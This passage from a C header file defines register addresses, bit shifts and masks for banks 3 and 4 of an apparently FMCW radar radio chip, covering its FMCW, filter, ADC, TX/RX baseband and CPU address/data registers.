#define RADIO_BK3_FMCW_START_RSTN_SDM_MASH_MASK 0x1
#define RADIO_BK3_FMCW_START_RSTN_SDM_3SL_SHIFT 3
#define RADIO_BK3_FMCW_START_RSTN_SDM_3SL_MASK 0x1
#define RADIO_BK3_FMCW_START_ADDER_RSTN_SHIFT 4
#define RADIO_BK3_FMCW_START_ADDER_RSTN_MASK 0x1
#define RADIO_BK3_FMCW_BYP 0x2e
#define RADIO_BK3_FMCW_BYP_SHIFT 0
#define RADIO_BK3_FMCW_BYP_MASK 0xf
#define RADIO_BK3_FMCW_REAL_UPDN 0x2f
#define RADIO_BK3_FMCW_REAL_UPDN_SHIFT 0
#define RADIO_BK3_FMCW_REAL_UPDN_MASK 0x1
#define RADIO_BK3_FMCW_IO_MUX_SEL 0x30
#define RADIO_BK3_FMCW_IO_MUX_SEL_SHIFT 0
#define RADIO_BK3_FMCW_IO_MUX_SEL_MASK 0x1f
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_0 0x31
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_0_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_0_MASK 0xff
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_1 0x32
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_1_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_1_MASK 0xff
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_2 0x33
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_2_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_2_MASK 0xff
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_3 0x34
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_3_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_FREQ_1_3_MASK 0xff
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_0 0x35
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_0_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_0_MASK 0xff
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_1 0x36
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_1_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_1_MASK 0xff
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_2 0x37
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_2_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_2_MASK 0xff
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_3 0x38
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_3_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_FREQ_2_3_MASK 0xff
#define RADIO_BK3_FMCW_VTUNE_VAR 0x39
#define RADIO_BK3_FMCW_VTUNE_VAR_VTUNE_VAR_1_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_VAR_VTUNE_VAR_1_MASK 0xf
#define RADIO_BK3_FMCW_VTUNE_VAR_VTUNE_VAR_2_SHIFT 4
#define RADIO_BK3_FMCW_VTUNE_VAR_VTUNE_VAR_2_MASK 0xf
#define RADIO_BK3_FMCW_VTUNE_EN 0x3a
#define RADIO_BK3_FMCW_VTUNE_EN_SHIFT 0
#define RADIO_BK3_FMCW_VTUNE_EN_MASK 0x1
#define RADIO_BK3_FMCW_BYP_FIL_EN 0x3b
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_FLT_DC_EN_SHIFT 0
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_FLT_DC_EN_MASK 0x1
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_FLT_DATSFT_EN_SHIFT 1
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_FLT_DATSFT_EN_MASK 0x1
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_FLT_CLKSEL_EN_SHIFT 2
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_FLT_CLKSEL_EN_MASK 0x1
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_FLT_BDW_EN_SHIFT 3
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_FLT_BDW_EN_MASK 0x1
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_CFG_CLK_EN_SHIFT 4
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_CFG_CLK_EN_MASK 0x1
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_CFG_CLKSEL_EN_SHIFT 5
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_CFG_CLKSEL_EN_MASK 0x1
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_CFG_BDW_EN_SHIFT 6
#define RADIO_BK3_FMCW_BYP_FIL_EN_BYP_FIL_ADC_CFG_BDW_EN_MASK 0x1
#define RADIO_BK3_FMCW_CS_AVA_RM 0x3c
#define RADIO_BK3_FMCW_CS_AVA_RM_SHIFT 0
#define RADIO_BK3_FMCW_CS_AVA_RM_MASK 0x1
#define RADIO_BK3_MASH_DTHR_TAP_0 0x3d
#define RADIO_BK3_MASH_DTHR_TAP_0_SHIFT 0
#define RADIO_BK3_MASH_DTHR_TAP_0_MASK 0xff
#define RADIO_BK3_MASH_DTHR_TAP_1 0x3e
#define RADIO_BK3_MASH_DTHR_TAP_1_SHIFT 0
#define RADIO_BK3_MASH_DTHR_TAP_1_MASK 0xff
#define RADIO_BK3_MASH_DTHR_TAP_2 0x3f
#define RADIO_BK3_MASH_DTHR_TAP_2_SHIFT 0
#define RADIO_BK3_MASH_DTHR_TAP_2_MASK 0xff
#define RADIO_BK3_MASH_DTHR_TAP_3 0x40
#define RADIO_BK3_MASH_DTHR_TAP_3_SHIFT 0
#define RADIO_BK3_MASH_DTHR_TAP_3_MASK 0xff
#define RADIO_BK3_MASH_DTHR_STATE_0 0x41
#define RADIO_BK3_MASH_DTHR_STATE_0_SHIFT 0
#define RADIO_BK3_MASH_DTHR_STATE_0_MASK 0xff
#define RADIO_BK3_MASH_DTHR_STATE_1 0x42
#define RADIO_BK3_MASH_DTHR_STATE_1_SHIFT 0
#define RADIO_BK3_MASH_DTHR_STATE_1_MASK 0xff
#define RADIO_BK3_MASH_DTHR_STATE_2 0x43
#define RADIO_BK3_MASH_DTHR_STATE_2_SHIFT 0
#define RADIO_BK3_MASH_DTHR_STATE_2_MASK 0xff
#define RADIO_BK3_MASH_DTHR_STATE_3 0x44
#define RADIO_BK3_MASH_DTHR_STATE_3_SHIFT 0
#define RADIO_BK3_MASH_DTHR_STATE_3_MASK 0xff
#define RADIO_BK3_MASH_DTHR_EN 0x45
#define RADIO_BK3_MASH_DTHR_EN_MASH_DTHR_EN_SHIFT 0
#define RADIO_BK3_MASH_DTHR_EN_MASH_DTHR_EN_MASK 0x1
#define RADIO_BK3_MASH_DTHR_EN_MASH_DTHR_RM_SHIFT 1
#define RADIO_BK3_MASH_DTHR_EN_MASH_DTHR_RM_MASK 0x1
#define RADIO_BK3_AUTO_HPF1_CH0 0x46
#define RADIO_BK3_AUTO_HPF1_CH0_EN_SHIFT 0
#define RADIO_BK3_AUTO_HPF1_CH0_EN_MASK 0x1
#define RADIO_BK3_AUTO_HPF1_CH0_SEL_SHIFT 1
#define RADIO_BK3_AUTO_HPF1_CH0_SEL_MASK 0xf
#define RADIO_BK3_AUTO_HPF1_CH1 0x47
#define RADIO_BK3_AUTO_HPF1_CH1_EN_SHIFT 0
#define RADIO_BK3_AUTO_HPF1_CH1_EN_MASK 0x1
#define RADIO_BK3_AUTO_HPF1_CH1_SEL_SHIFT 1
#define RADIO_BK3_AUTO_HPF1_CH1_SEL_MASK 0xf
#define RADIO_BK3_AUTO_HPF1_CH2 0x48
#define RADIO_BK3_AUTO_HPF1_CH2_EN_SHIFT 0
#define RADIO_BK3_AUTO_HPF1_CH2_EN_MASK 0x1
#define RADIO_BK3_AUTO_HPF1_CH2_SEL_SHIFT 1
#define RADIO_BK3_AUTO_HPF1_CH2_SEL_MASK 0xf
#define RADIO_BK3_AUTO_HPF1_CH3 0x49
#define RADIO_BK3_AUTO_HPF1_CH3_EN_SHIFT 0
#define RADIO_BK3_AUTO_HPF1_CH3_EN_MASK 0x1
#define RADIO_BK3_AUTO_HPF1_CH3_SEL_SHIFT 1
#define RADIO_BK3_AUTO_HPF1_CH3_SEL_MASK 0xf
#define RADIO_BK3_AUTO_HPF2_CH0 0x4a
#define RADIO_BK3_AUTO_HPF2_CH0_EN_SHIFT 0
#define RADIO_BK3_AUTO_HPF2_CH0_EN_MASK 0x1
#define RADIO_BK3_AUTO_HPF2_CH0_SEL_SHIFT 1
#define RADIO_BK3_AUTO_HPF2_CH0_SEL_MASK 0xf
#define RADIO_BK3_AUTO_HPF2_CH1 0x4b
#define RADIO_BK3_AUTO_HPF2_CH1_EN_SHIFT 0
#define RADIO_BK3_AUTO_HPF2_CH1_EN_MASK 0x1
#define RADIO_BK3_AUTO_HPF2_CH1_SEL_SHIFT 1
#define RADIO_BK3_AUTO_HPF2_CH1_SEL_MASK 0xf
#define RADIO_BK3_AUTO_HPF2_CH2 0x4c
#define RADIO_BK3_AUTO_HPF2_CH2_EN_SHIFT 0
#define RADIO_BK3_AUTO_HPF2_CH2_EN_MASK 0x1
#define RADIO_BK3_AUTO_HPF2_CH2_SEL_SHIFT 1
#define RADIO_BK3_AUTO_HPF2_CH2_SEL_MASK 0xf
#define RADIO_BK3_AUTO_HPF2_CH3 0x4d
#define RADIO_BK3_AUTO_HPF2_CH3_EN_SHIFT 0
#define RADIO_BK3_AUTO_HPF2_CH3_EN_MASK 0x1
#define RADIO_BK3_AUTO_HPF2_CH3_SEL_SHIFT 1
#define RADIO_BK3_AUTO_HPF2_CH3_SEL_MASK 0xf
#define RADIO_BK3_AUTO_3MBW 0x4e
#define RADIO_BK3_AUTO_3MBW_EN_SHIFT 0
#define RADIO_BK3_AUTO_3MBW_EN_MASK 0x1
#define RADIO_BK3_AUTO_3MBW_SEL_SHIFT 1
#define RADIO_BK3_AUTO_3MBW_SEL_MASK 0xf
#define RADIO_BK3_AUTO_DL_DIS 0x4f
#define RADIO_BK3_AUTO_DL_DIS_EN_SHIFT 0
#define RADIO_BK3_AUTO_DL_DIS_EN_MASK 0x1
#define RADIO_BK3_AUTO_DL_DIS_SEL_SHIFT 1
#define RADIO_BK3_AUTO_DL_DIS_SEL_MASK 0xf
#define RADIO_BK3_AUTO_DL_DIS2 0x50
#define RADIO_BK3_AUTO_DL_DIS2_EN_SHIFT 0
#define RADIO_BK3_AUTO_DL_DIS2_EN_MASK 0x1
#define RADIO_BK3_AUTO_DL_DIS2_SEL_SHIFT 1
#define RADIO_BK3_AUTO_DL_DIS2_SEL_MASK 0xf
#define RADIO_BK3_AUTO_ADC_RST_CH0 0x51
#define RADIO_BK3_AUTO_ADC_RST_CH0_EN_SHIFT 0
#define RADIO_BK3_AUTO_ADC_RST_CH0_EN_MASK 0x1
#define RADIO_BK3_AUTO_ADC_RST_CH0_SEL_SHIFT 1
#define RADIO_BK3_AUTO_ADC_RST_CH0_SEL_MASK 0xf
#define RADIO_BK3_AUTO_ADC_RST_CH1 0x52
#define RADIO_BK3_AUTO_ADC_RST_CH1_EN_SHIFT 0
#define RADIO_BK3_AUTO_ADC_RST_CH1_EN_MASK 0x1
#define RADIO_BK3_AUTO_ADC_RST_CH1_SEL_SHIFT 1
#define RADIO_BK3_AUTO_ADC_RST_CH1_SEL_MASK 0xf
#define RADIO_BK3_AUTO_ADC_RST_CH2 0x53
#define RADIO_BK3_AUTO_ADC_RST_CH2_EN_SHIFT 0
#define RADIO_BK3_AUTO_ADC_RST_CH2_EN_MASK 0x1
#define RADIO_BK3_AUTO_ADC_RST_CH2_SEL_SHIFT 1
#define RADIO_BK3_AUTO_ADC_RST_CH2_SEL_MASK 0xf
#define RADIO_BK3_AUTO_ADC_RST_CH3 0x54
#define RADIO_BK3_AUTO_ADC_RST_CH3_EN_SHIFT 0
#define RADIO_BK3_AUTO_ADC_RST_CH3_EN_MASK 0x1
#define RADIO_BK3_AUTO_ADC_RST_CH3_SEL_SHIFT 1
#define RADIO_BK3_AUTO_ADC_RST_CH3_SEL_MASK 0xf
#define RADIO_BK3_AUTO_MASH 0x55
#define RADIO_BK3_AUTO_MASH_EN_SHIFT 0
#define RADIO_BK3_AUTO_MASH_EN_MASK 0x1
#define RADIO_BK3_AUTO_MASH_SEL_SHIFT 1
#define RADIO_BK3_AUTO_MASH_SEL_MASK 0xf
#define RADIO_BK3_AUTO_MASH_DTHR 0x56
#define RADIO_BK3_AUTO_MASH_DTHR_EN_SHIFT 0
#define RADIO_BK3_AUTO_MASH_DTHR_EN_MASK 0x1
#define RADIO_BK3_AUTO_MASH_DTHR_SEL_SHIFT 1
#define RADIO_BK3_AUTO_MASH_DTHR_SEL_MASK 0xf
#define RADIO_BK3_AUTO_3SL 0x57
#define RADIO_BK3_AUTO_3SL_EN_SHIFT 0
#define RADIO_BK3_AUTO_3SL_EN_MASK 0x1
#define RADIO_BK3_AUTO_3SL_SEL_SHIFT 1
#define RADIO_BK3_AUTO_3SL_SEL_MASK 0xf
#define RADIO_BK3_CH0_AUTO_TX 0x58
#define RADIO_BK3_CH0_AUTO_TX_EN_SHIFT 0
#define RADIO_BK3_CH0_AUTO_TX_EN_MASK 0x1
#define RADIO_BK3_CH0_AUTO_TX_SEL_SHIFT 1
#define RADIO_BK3_CH0_AUTO_TX_SEL_MASK 0xf
#define RADIO_BK3_CH0_AUTO_TX_SEL_DPTH_SHIFT 5
#define RADIO_BK3_CH0_AUTO_TX_SEL_DPTH_MASK 0x3
#define RADIO_BK3_CH1_AUTO_TX 0x59
#define RADIO_BK3_CH1_AUTO_TX_EN_SHIFT 0
#define RADIO_BK3_CH1_AUTO_TX_EN_MASK 0x1
#define RADIO_BK3_CH1_AUTO_TX_SEL_SHIFT 1
#define RADIO_BK3_CH1_AUTO_TX_SEL_MASK 0xf
#define RADIO_BK3_CH1_AUTO_TX_SEL_DPTH_SHIFT 5
#define RADIO_BK3_CH1_AUTO_TX_SEL_DPTH_MASK 0x3
#define RADIO_BK3_CH2_AUTO_TX 0x5a
#define RADIO_BK3_CH2_AUTO_TX_EN_SHIFT 0
#define RADIO_BK3_CH2_AUTO_TX_EN_MASK 0x1
#define RADIO_BK3_CH2_AUTO_TX_SEL_SHIFT 1
#define RADIO_BK3_CH2_AUTO_TX_SEL_MASK 0xf
#define RADIO_BK3_CH2_AUTO_TX_SEL_DPTH_SHIFT 5
#define RADIO_BK3_CH2_AUTO_TX_SEL_DPTH_MASK 0x3
#define RADIO_BK3_CH3_AUTO_TX 0x5b
#define RADIO_BK3_CH3_AUTO_TX_EN_SHIFT 0
#define RADIO_BK3_CH3_AUTO_TX_EN_MASK 0x1
#define RADIO_BK3_CH3_AUTO_TX_SEL_SHIFT 1
#define RADIO_BK3_CH3_AUTO_TX_SEL_MASK 0xf
#define RADIO_BK3_CH3_AUTO_TX_SEL_DPTH_SHIFT 5
#define RADIO_BK3_CH3_AUTO_TX_SEL_DPTH_MASK 0x3
#define RADIO_BK3_AUTO_RXBB_CH0 0x5c
#define RADIO_BK3_AUTO_RXBB_CH0_EN_SHIFT 0
#define RADIO_BK3_AUTO_RXBB_CH0_EN_MASK 0x1
#define RADIO_BK3_AUTO_RXBB_CH0_SEL_SHIFT 1
#define RADIO_BK3_AUTO_RXBB_CH0_SEL_MASK 0xf
#define RADIO_BK3_AUTO_RXBB_CH0_SEL_CFG_SHIFT 5
#define RADIO_BK3_AUTO_RXBB_CH0_SEL_CFG_MASK 0x3
#define RADIO_BK3_AUTO_RXBB_CH1 0x5d
#define RADIO_BK3_AUTO_RXBB_CH1_EN_SHIFT 0
#define RADIO_BK3_AUTO_RXBB_CH1_EN_MASK 0x1
#define RADIO_BK3_AUTO_RXBB_CH1_SEL_SHIFT 1
#define RADIO_BK3_AUTO_RXBB_CH1_SEL_MASK 0xf
#define RADIO_BK3_AUTO_RXBB_CH1_SEL_CFG_SHIFT 5
#define RADIO_BK3_AUTO_RXBB_CH1_SEL_CFG_MASK 0x3
#define RADIO_BK3_AUTO_RXBB_CH2 0x5e
#define RADIO_BK3_AUTO_RXBB_CH2_EN_SHIFT 0
#define RADIO_BK3_AUTO_RXBB_CH2_EN_MASK 0x1
#define RADIO_BK3_AUTO_RXBB_CH2_SEL_SHIFT 1
#define RADIO_BK3_AUTO_RXBB_CH2_SEL_MASK 0xf
#define RADIO_BK3_AUTO_RXBB_CH2_SEL_CFG_SHIFT 5
#define RADIO_BK3_AUTO_RXBB_CH2_SEL_CFG_MASK 0x3
#define RADIO_BK3_AUTO_RXBB_CH3 0x5f
#define RADIO_BK3_AUTO_RXBB_CH3_EN_SHIFT 0
#define RADIO_BK3_AUTO_RXBB_CH3_EN_MASK 0x1
#define RADIO_BK3_AUTO_RXBB_CH3_SEL_SHIFT 1
#define RADIO_BK3_AUTO_RXBB_CH3_SEL_MASK 0xf
#define RADIO_BK3_AUTO_RXBB_CH3_SEL_CFG_SHIFT 5
#define RADIO_BK3_AUTO_RXBB_CH3_SEL_CFG_MASK 0x3
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_0 0x60
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_0_SHIFT 0
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_0_MASK 0xff
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_1 0x61
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_1_SHIFT 0
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_1_MASK 0xff
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_2 0x62
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_2_SHIFT 0
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_2_MASK 0xff
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_3 0x63
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_3_SHIFT 0
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_SIZE_3_MASK 0xff
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_EN 0x64
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_EN_SHIFT 0
#define RADIO_BK3_FMCW_FIL_ADC_CFG_DLY_EN_MASK 0x1
#define RADIO_BK3_FMCW_START_SPI_EDGE 0x65
#define RADIO_BK3_FMCW_START_SPI_EDGE_SHIFT 0
#define RADIO_BK3_FMCW_START_SPI_EDGE_MASK 0x1
#define RADIO_BK3_SDM_3Sl_GAIN_1_0 0x66
#define RADIO_BK3_SDM_3Sl_GAIN_1_0_SHIFT 0
#define RADIO_BK3_SDM_3Sl_GAIN_1_0_MASK 0xff
#define RADIO_BK3_SDM_3Sl_GAIN_1_1 0x67
#define RADIO_BK3_SDM_3Sl_GAIN_1_1_SHIFT 0
#define RADIO_BK3_SDM_3Sl_GAIN_1_1_MASK 0xff
#define RADIO_BK3_SDM_3Sl_GAIN_1_2 0x68
#define RADIO_BK3_SDM_3Sl_GAIN_1_2_SHIFT 0
#define RADIO_BK3_SDM_3Sl_GAIN_1_2_MASK 0x3f
#define RADIO_BK3_SDM_3Sl_GAIN_FB_2_0 0x69
#define RADIO_BK3_SDM_3Sl_GAIN_FB_2_0_SHIFT 0
#define RADIO_BK3_SDM_3Sl_GAIN_FB_2_0_MASK 0xff
#define RADIO_BK3_SDM_3Sl_GAIN_FB_2_1 0x6a
#define RADIO_BK3_SDM_3Sl_GAIN_FB_2_1_SHIFT 0
#define RADIO_BK3_SDM_3Sl_GAIN_FB_2_1_MASK 0xff
#define RADIO_BK3_SDM_3Sl_GAIN_FB_2_2 0x6b
#define RADIO_BK3_SDM_3Sl_GAIN_FB_2_2_SHIFT 0
#define RADIO_BK3_SDM_3Sl_GAIN_FB_2_2_MASK 0x3f
#define RADIO_BK3_SDM_3Sl_GAIN_FB_3_0 0x6c
#define RADIO_BK3_SDM_3Sl_GAIN_FB_3_0_SHIFT 0
#define RADIO_BK3_SDM_3Sl_GAIN_FB_3_0_MASK 0xff
#define RADIO_BK3_SDM_3Sl_GAIN_FB_3_1 0x6d
#define RADIO_BK3_SDM_3Sl_GAIN_FB_3_1_SHIFT 0
#define RADIO_BK3_SDM_3Sl_GAIN_FB_3_1_MASK 0xff
#define RADIO_BK3_SDM_3Sl_GAIN_FB_3_2 0x6e
#define RADIO_BK3_SDM_3Sl_GAIN_FB_3_2_SHIFT 0
#define RADIO_BK3_SDM_3Sl_GAIN_FB_3_2_MASK 0x3f
#define RADIO_BK3_SDM_3SL_SAFE_En 0x6f
#define RADIO_BK3_SDM_3SL_SAFE_En_SHIFT 0
#define RADIO_BK3_SDM_3SL_SAFE_En_MASK 0x1
#define RADIO_BK4_CPU_ADDR1 0x1
#define RADIO_BK4_CPU_ADDR1_SHIFT 0
#define RADIO_BK4_CPU_ADDR1_MASK 0xff
#define RADIO_BK4_CPU_DATA1 0x2
#define RADIO_BK4_CPU_DATA1_SHIFT 0
#define RADIO_BK4_CPU_DATA1_MASK 0xff
#define RADIO_BK4_CPU_ADDR2 0x3
#define RADIO_BK4_CPU_ADDR2_SHIFT 0
#define RADIO_BK4_CPU_ADDR2_MASK 0xff
#define RADIO_BK4_CPU_DATA2 0x4
#define RADIO_BK4_CPU_DATA2_SHIFT 0
#define RADIO_BK4_CPU_DATA2_MASK 0xff
#define RADIO_BK4_CPU_ADDR3 0x5
#define RADIO_BK4_CPU_ADDR3_SHIFT 0
#define RADIO_BK4_CPU_ADDR3_MASK 0xff
#define RADIO_BK4_CPU_DATA3 0x6
#define RADIO_BK4_CPU_DATA3_SHIFT 0
#define RADIO_BK4_CPU_DATA3_MASK 0xff
#define RADIO_BK4_CPU_ADDR4 0x7
#define RADIO_BK4_CPU_ADDR4_SHIFT 0
#define RADIO_BK4_CPU_ADDR4_MASK 0xff
#define RADIO_BK4_CPU_DATA4 0x8
#define RADIO_BK4_CPU_DATA4_SHIFT 0
#define RADIO_BK4_CPU_DATA4_MASK 0xff
#define RADIO_BK4_CPU_ADDR5 0x9
#define RADIO_BK4_CPU_ADDR5_SHIFT 0
#define RADIO_BK4_CPU_ADDR5_MASK 0xff
#define RADIO_BK4_CPU_DATA5 0xa
#define RADIO_BK4_CPU_DATA5_SHIFT 0
#define RADIO_BK4_CPU_DATA5_MASK 0xff
#define RADIO_BK4_CPU_ADDR6 0xb
#define RADIO_BK4_CPU_ADDR6_SHIFT 0
#define RADIO_BK4_CPU_ADDR6_MASK 0xff
#define RADIO_BK4_CPU_DATA6 0xc
#define RADIO_BK4_CPU_DATA6_SHIFT 0
#define RADIO_BK4_CPU_DATA6_MASK 0xff
#define RADIO_BK4_CPU_ADDR7 0xd
#define RADIO_BK4_CPU_ADDR7_SHIFT 0
#define RADIO_BK4_CPU_ADDR7_MASK 0xff
#define RADIO_BK4_CPU_DATA7 0xe
#define RADIO_BK4_CPU_DATA7_SHIFT 0
#define RADIO_BK4_CPU_DATA7_MASK 0xff
#define RADIO_BK4_CPU_ADDR8 0xf
#define RADIO_BK4_CPU_ADDR8_SHIFT 0
#define RADIO_BK4_CPU_ADDR8_MASK 0xff
#define RADIO_BK4_CPU_DATA8 0x10
#define RADIO_BK4_CPU_DATA8_SHIFT 0
#define RADIO_BK4_CPU_DATA8_MASK 0xff
#define RADIO_BK4_CPU_ADDR9 0x11
#define RADIO_BK4_CPU_ADDR9_SHIFT 0
#define RADIO_BK4_CPU_ADDR9_MASK 0xff
#define RADIO_BK4_CPU_DATA9 0x12
#define RADIO_BK4_CPU_DATA9_SHIFT 0
#define RADIO_BK4_CPU_DATA9_MASK 0xff
#define RADIO_BK4_CPU_ADDR10 0x13
#define RADIO_BK4_CPU_ADDR10_SHIFT 0
#define RADIO_BK4_CPU_ADDR10_MASK 0xff
#define RADIO_BK4_CPU_DATA10 0x14
#define RADIO_BK4_CPU_DATA10_SHIFT 0
#define RADIO_BK4_CPU_DATA10_MASK 0xff
#define RADIO_BK4_CPU_ADDR11 0x15
#define RADIO_BK4_CPU_ADDR11_SHIFT 0
#define RADIO_BK4_CPU_ADDR11_MASK 0xff
#define RADIO_BK4_CPU_DATA11 0x16
#define RADIO_BK4_CPU_DATA11_SHIFT 0
#define RADIO_BK4_CPU_DATA11_MASK 0xff
#define RADIO_BK4_CPU_ADDR12 0x17
#define RADIO_BK4_CPU_ADDR12_SHIFT 0
#define RADIO_BK4_CPU_ADDR12_MASK 0xff
#define RADIO_BK4_CPU_DATA12 0x18
#define RADIO_BK4_CPU_DATA12_SHIFT 0
#define RADIO_BK4_CPU_DATA12_MASK 0xff
#define RADIO_BK4_CPU_ADDR13 0x19
#define RADIO_BK4_CPU_ADDR13_SHIFT 0
#define RADIO_BK4_CPU_ADDR13_MASK 0xff
#define RADIO_BK4_CPU_DATA13 0x1a
#define RADIO_BK4_CPU_DATA13_SHIFT 0
#define RADIO_BK4_CPU_DATA13_MASK 0xff
#define RADIO_BK4_CPU_ADDR14 0x1b
#define RADIO_BK4_CPU_ADDR14_SHIFT 0
#define RADIO_BK4_CPU_ADDR14_MASK 0xff
#define RADIO_BK4_CPU_DATA14 0x1c
#define RADIO_BK4_CPU_DATA14_SHIFT 0
#define RADIO_BK4_CPU_DATA14_MASK 0xff
#define RADIO_BK4_CPU_ADDR15 0x1d
#define RADIO_BK4_CPU_ADDR15_SHIFT 0
#define RADIO_BK4_CPU_ADDR15_MASK 0xff
#define RADIO_BK4_CPU_DATA15 0x1e
#define RADIO_BK4_CPU_DATA15_SHIFT 0
#define RADIO_BK4_CPU_DATA15_MASK 0xff
#define RADIO_BK4_CPU_ADDR16 0x1f
#define RADIO_BK4_CPU_ADDR16_SHIFT 0
#define RADIO_BK4_CPU_ADDR16_MASK 0xff
#define RADIO_BK4_CPU_DATA16 0x20
#define RADIO_BK4_CPU_DATA16_SHIFT 0
#define RADIO_BK4_CPU_DATA16_MASK 0xff
#define RADIO_BK4_CPU_ADDR17 0x21
#define RADIO_BK4_CPU_ADDR17_SHIFT 0
#define RADIO_BK4_CPU_ADDR17_MASK 0xff
#define RADIO_BK4_CPU_DATA17 0x22
#define RADIO_BK4_CPU_DATA17_SHIFT 0
#define RADIO_BK4_CPU_DATA17_MASK 0xff
#define RADIO_BK4_CPU_ADDR18 0x23
#define RADIO_BK4_CPU_ADDR18_SHIFT 0
#define RADIO_BK4_CPU_ADDR18_MASK 0xff
#define RADIO_BK4_CPU_DATA18 0x24
#define RADIO_BK4_CPU_DATA18_SHIFT 0
#define RADIO_BK4_CPU_DATA18_MASK 0xff
#define RADIO_BK4_CPU_ADDR19 0x25
#define RADIO_BK4_CPU_ADDR19_SHIFT 0
#define RADIO_BK4_CPU_ADDR19_MASK 0xff
#define RADIO_BK4_CPU_DATA19 0x26
#define RADIO_BK4_CPU_DATA19_SHIFT 0
#define RADIO_BK4_CPU_DATA19_MASK 0xff
#define RADIO_BK4_CPU_ADDR20 0x27
#define RADIO_BK4_CPU_ADDR20_SHIFT 0
#define RADIO_BK4_CPU_ADDR20_MASK 0xff
#define RADIO_BK4_CPU_DATA20 0x28
#define RADIO_BK4_CPU_DATA20_SHIFT 0
#define RADIO_BK4_CPU_DATA20_MASK 0xff
#define RADIO_BK4_CPU_ADDR21 0x29
#define RADIO_BK4_CPU_ADDR21_SHIFT 0
#define RADIO_BK4_CPU_ADDR21_MASK 0xff
#define RADIO_BK4_CPU_DATA21 0x2a
#define RADIO_BK4_CPU_DATA21_SHIFT 0
#define RADIO_BK4_CPU_DATA21_MASK 0xff
#define RADIO_BK4_CPU_ADDR22 0x2b
#define RADIO_BK4_CPU_ADDR22_SHIFT 0
#define RADIO_BK4_CPU_ADDR22_MASK 0xff
#define RADIO_BK4_CPU_DATA22 0x2c
#define RADIO_BK4_CPU_DATA22_SHIFT 0
#define RADIO_BK4_CPU_DATA22_MASK 0xff
#define RADIO_BK4_CPU_ADDR23 0x2d
#define RADIO_BK4_CPU_ADDR23_SHIFT 0
#define RADIO_BK4_CPU_ADDR23_MASK 0xff
#define RADIO_BK4_CPU_DATA23 0x2e
#define RADIO_BK4_CPU_DATA23_SHIFT 0
#define RADIO_BK4_CPU_DATA23_MASK 0xff
#define RADIO_BK4_CPU_ADDR24 0x2f
#define RADIO_BK4_CPU_ADDR24_SHIFT 0
#define RADIO_BK4_CPU_ADDR24_MASK 0xff
#define RADIO_BK4_CPU_DATA24 0x30
#define RADIO_BK4_CPU_DATA24_SHIFT 0
#define RADIO_BK4_CPU_DATA24_MASK 0xff
#define RADIO_BK4_CPU_ADDR25 0x31
#define RADIO_BK4_CPU_ADDR25_SHIFT 0
#define RADIO_BK4_CPU_ADDR25_MASK 0xff
#define RADIO_BK4_CPU_DATA25 0x32
#define RADIO_BK4_CPU_DATA25_SHIFT 0
#define RADIO_BK4_CPU_DATA25_MASK 0xff
#define RADIO_BK4_CPU_ADDR26 0x33
#define RADIO_BK4_CPU_ADDR26_SHIFT 0
#define RADIO_BK4_CPU_ADDR26_MASK 0xff
#define RADIO_BK4_CPU_DATA26 0x34
#define RADIO_BK4_CPU_DATA26_SHIFT 0
#define RADIO_BK4_CPU_DATA26_MASK 0xff
#define RADIO_BK4_CPU_ADDR27 0x35
#define RADIO_BK4_CPU_ADDR27_SHIFT 0
#define RADIO_BK4_CPU_ADDR27_MASK 0xff
